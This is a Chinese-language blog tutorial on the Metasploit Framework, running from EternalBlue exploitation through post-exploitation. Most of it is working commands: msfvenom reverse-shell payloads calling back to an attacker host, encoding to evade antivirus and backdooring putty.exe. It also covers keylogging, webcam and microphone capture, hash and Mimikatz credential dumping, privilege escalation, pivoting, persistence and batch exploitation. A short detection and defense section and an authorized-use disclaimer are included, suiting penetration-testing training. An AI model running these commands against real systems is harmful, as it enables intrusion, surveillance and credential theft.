☰
Metasploit渗透测试完全指南:从Exploit到后渗透的完整实战
2026/9/29 22:10:39 网站建设 项目流程

“Metasploit怎么用?”“Meterpreter有哪些命令?”“怎么用MSF拿shell?”

Metasploit Framework(MSF)是世界上最流行的渗透测试框架,没有之一。从信息收集到漏洞利用,从后渗透到权限维持,MSF几乎覆盖了渗透测试的完整流程。

对于安全从业者来说,MSF就像黑客的"瑞士军刀"。无论是CTF比赛、护网行动还是日常渗透测试,MSF都是不可或缺的工具。

我第一次用MSF是在学习漏洞利用时,用exploit/multi/handler配合一个reverse shell payload,3分钟就拿到了靶机的shell。然后通过Meterpreter的hashdump拿到了密码哈希,getsystem直接提权。整个过程行云流水,让我彻底理解了"自动化渗透"的魅力。

今天我把Metasploit的完整使用指南整理出来:模块体系、Exploit使用、Payload生成、Meterpreter后渗透、提权技巧。看完这篇,你对MSF会有一个系统化掌握。

⚠️ 注意:MSF仅用于授权的渗透测试和安全研究,严禁用于非法用途。


一、Metasploit基础

MSF架构

模块类型说明示例
Exploit漏洞利用模块exploit/windows/smb/ms17_010
Payload攻击载荷meterpreter/reverse_tcp
Auxiliary辅助模块(扫描/嗅探)auxiliary/scanner/portscan/tcp
Post后渗透模块post/windows/gather/hashdump
Encoder编码器x86/shikata_ga_nai
NOP空指令生成器x86/opty

启动MSF

# 启动Metasploitmsfconsole# 更新数据库msfupdate# 初始化数据库msfdb init# 查看帮助msfconsole-h# 使用数据库msf6>db_status msf6>db_nmap-sV192.168.1.10

基础命令

# 搜索模块search ms17_010 search name:eternalblue search type:exploit platform:windows# 使用模块use exploit/windows/smb/ms17_010_eternalblue# 查看模块信息info show options show payloads show targets# 设置参数setRHOSTS192.168.1.10setLHOST192.168.1.5setLPORT4444setPAYLOAD windows/x64/meterpreter/reverse_tcp# 执行exploit run

二、Exploit模块实战

1. EternalBlue(永恒之蓝)

msf6>use exploit/windows/smb/ms17_010_eternalblue msf6>setRHOSTS192.168.1.10 msf6>setPAYLOAD windows/x64/meterpreter/reverse_tcp msf6>setLHOST192.168.1.5 msf6>setLPORT4444msf6>exploit# 成功后获得Meterpreter会话

2. 常用Exploit模块

模块漏洞适用场景
exploit/windows/smb/ms17_010永恒之蓝Windows SMB
exploit/windows/smb/ms09_050SMBv2溢出Windows
exploit/multi/handler监听器接收反弹Shell
exploit/multi/http/struts2Struts2Web
exploit/multi/http/tomcatTomcatWeb
exploit/unix/webapp/wp_adminWordPressCMS
exploit/windows/local/bypassuacUAC绕过提权
exploit/windows/local/ms16_032提权内核提权

3. Auxiliary扫描模块

# 端口扫描use auxiliary/scanner/portscan/tcpsetRHOSTS192.168.1.0/24setPORTS22,80,443,445,3389,8080setTHREADS50run# SMB版本扫描use auxiliary/scanner/smb/smb_versionsetRHOSTS192.168.1.0/24 run# SSH爆破use auxiliary/scanner/ssh/ssh_loginsetRHOSTS192.168.1.10setUSERNAME rootsetPASS_FILE /usr/share/wordlists/rockyou.txtsetTHREADS10run# MySQL扫描use auxiliary/scanner/mysql/mysql_loginsetRHOSTS192.168.1.0/24setUSERNAME rootsetPASSWORD root run

三、Payload生成

MSFvenom生成载荷

# Windows反弹Shellmsfvenom-pwindows/x64/meterpreter/reverse_tcp\LHOST=192.168.1.5LPORT=4444-fexe-oshell.exe# Linux反弹Shellmsfvenom-plinux/x64/meterpreter/reverse_tcp\LHOST=192.168.1.5LPORT=4444-felf-oshell.elf# Python反弹Shellmsfvenom-ppython/meterpreter/reverse_tcp\LHOST=192.168.1.5LPORT=4444-fraw-oshell.py# PHP反弹Shellmsfvenom-pphp/meterpreter/reverse_tcp\LHOST=192.168.1.5LPORT=4444-fraw-oshell.php# JSP反弹Shellmsfvenom-pjava/jsp_shell_reverse_tcp\LHOST=192.168.1.5LPORT=4444-fraw-oshell.jsp# War包msfvenom-pjava/jsp_shell_reverse_tcp\LHOST=192.168.1.5LPORT=4444-fwar-oshell.war# Shellcodemsfvenom-pwindows/x64/meterpreter/reverse_tcp\LHOST=192.168.1.5LPORT=4444-fc

编码免杀

# 使用编码器msfvenom-pwindows/x64/meterpreter/reverse_tcp\LHOST=192.168.1.5LPORT=4444\-ex86/shikata_ga_nai-i5-fexe-oshell_encoded.exe# 多次编码msfvenom-pwindows/x64/meterpreter/reverse_tcp\LHOST=192.168.1.5LPORT=4444\-ex86/shikata_ga_nai-i10\-fexe-oshell_multi.exe# 注入正常程序msfvenom-pwindows/x64/meterpreter/reverse_tcp\LHOST=192.168.1.5LPORT=4444\-x/usr/share/windows-binaries/plishputty.exe\-k-fexe-oputty_backdoor.exe

Payload类型对比

Payload类型说明适用
reverse_tcp反弹连接穿透防火墙
bind_tcp正向连接目标可入站
reverse_httpHTTP反弹穿透代理
reverse_httpsHTTPS反弹加密传输
meterpreter高级载荷后渗透操作

四、Meterpreter后渗透

核心命令

# 基础命令sysinfo# 系统信息getuid# 当前权限getpid# 当前进程IDipconfig# 网络配置route# 路由表ps# 进程列表pwd# 当前目录ls# 文件列表cd# 切换目录download# 下载文件upload# 上传文件shell# 进入系统Shellexecute# 执行命令# 截图screenshot# 截屏record_mic# 录音webcam_snap# 摄像头拍照webcam_stream# 摄像头视频# 键盘记录keyscan_start# 开始键盘记录keyscan_dump# 导出键盘记录keyscan_stop# 停止键盘记录

凭据获取

# 获取密码哈希hashdump# 导出SAM哈希load kiwi# 加载Mimikatzcreds_all# 获取所有凭据lsa_dump_sam# 导出SAMlsa_dump_secrets# 导出LSA密钥# 从各来源收集凭据run post/windows/gather/hashdump run post/multi/gather/ssh_creds run post/linux/gather/hashdump run post/windows/gather/credentials/credential_collector

提权

# 尝试提权getsystem# 自动提权getsystem-t1# 使用特定技术# 使用本地提权模块background# 将会话放到后台use exploit/windows/local/ms16_032setSESSION1exploit# Bypass UACuse exploit/windows/local/bypassuac_fodhelpersetSESSION1exploit

进程迁移

# 查看进程ps# 迁移到稳定进程migrate<PID>migrate-Nexplorer.exe# 迁移到explorer# 迁移到系统进程(需要权限)migrate-Nlsass.exe migrate-Nsvchost.exe

网络扩展

# 添加路由run autoroute-s192.168.2.0/24 run autoroute-p# 查看路由# 端口转发portfwdadd-l8080-p80-r192.168.2.10 portfwdadd-l3389-p3389-r192.168.2.10 portfwd list portfwd delete-l8080# Socks代理use auxiliary/server/socks4asetSRVHOST127.0.0.1setSRVPORT1080run# 然后配置proxychains# vim /etc/proxychains.conf# socks4 127.0.0.1 1080

权限维持

# 创建服务后门run persistence-X-i30-p4444-r192.168.1.5# -X 开机自启# -i 30 每30秒重连# -p 端口# -r 攻击机IP# 创建计划任务run scheduleme run schtasksabuse# 安装Nujuba后门run metsvc-A# 安装并启动

五、MSF自动化

资源脚本

# 创建auto_exploit.rc文件use exploit/windows/smb/ms17_010_eternalbluesetRHOSTS192.168.1.10setPAYLOAD windows/x64/meterpreter/reverse_tcpsetLHOST192.168.1.5setLPORT4444exploit-j# 执行msfconsole-rauto_exploit.rc

批量扫描

# 批量扫描和利用use auxiliary/scanner/smb/smb_ms17_010setRHOSTS192.168.1.0/24setTHREADS50run# 将结果导入数据库db_nmap-sV-p445192.168.1.0/24# 使用数据库中的主机services-p445# 批量利用use exploit/windows/smb/ms17_010_eternalbluesetRHOSTS file:/tmp/vuln_hosts.txtsetPAYLOAD windows/x64/meterpreter/reverse_tcpsetLHOST192.168.1.5 exploit

六、实战案例:完整渗透流程

# 1. 扫描目标db_nmap-sV-p445192.168.1.10# 2. 检测漏洞use auxiliary/scanner/smb/smb_ms17_010setRHOSTS192.168.1.10 run# 3. 利用漏洞use exploit/windows/smb/ms17_010_eternalbluesetRHOSTS192.168.1.10setPAYLOAD windows/x64/meterpreter/reverse_tcpsetLHOST192.168.1.5 exploit# 4. 信息收集sysinfo getuid ipconfig# 5. 提权getsystem hashdump# 6. 内网扩展run autoroute-s192.168.2.0/24 use auxiliary/server/socks4a run# 7. 内网扫描use auxiliary/scanner/portscan/tcpsetRHOSTS192.168.2.0/24setPORTS22,80,445,3389 run# 8. 权限维持run persistence-X-i60-p4445-r192.168.1.5

七、MSF防御与检测

检测规则

检测项说明
4444端口MSF默认端口
Meterpreter特征内存特征和行为
异常出站连接非业务外连
编码器特征shikata_ga_nai签名
Payload传输网络层检测

防御建议

措施说明
及时打补丁修复已知漏洞
最小权限服务最小化权限
网络隔离内网分段隔离
部署EDR检测异常行为
入口管控只开必要端口
流量监控出站流量检测

学习资源

Metasploit是渗透测试中最核心的工具之一。从漏洞检测到利用执行,从后渗透到权限维持,MSF提供了一套完整的渗透测试工作流。

掌握MSF不仅是学会命令操作,更需要理解漏洞利用的原理和后渗透的思路。每一个模块背后都对应着特定的漏洞或技术,只有理解原理才能灵活运用。

如果你对网络安全和渗透测试感兴趣,想系统学习更多知识——包括MSF高级用法、漏洞利用开发、CTF实战、红蓝对抗等——可以参考下面整理的完整学习资料包。

内容涵盖:


从零基础到实战进阶,200+节视频课程,配套工具和靶场环境,涵盖攻防对抗全生命周期。

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源


总结

阶段核心操作
信息收集db_nmap + auxiliary扫描
漏洞利用exploit模块 + payload
后渗透Meterpreter命令
提权getsystem + 本地提权模块
内网扩展autoroute + portfwd + socks
权限维持persistence + 计划任务

🔒 MSF是工具,不是魔法。真正的渗透能力在于对系统原理的理解和对漏洞的深入分析。

————————————————

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询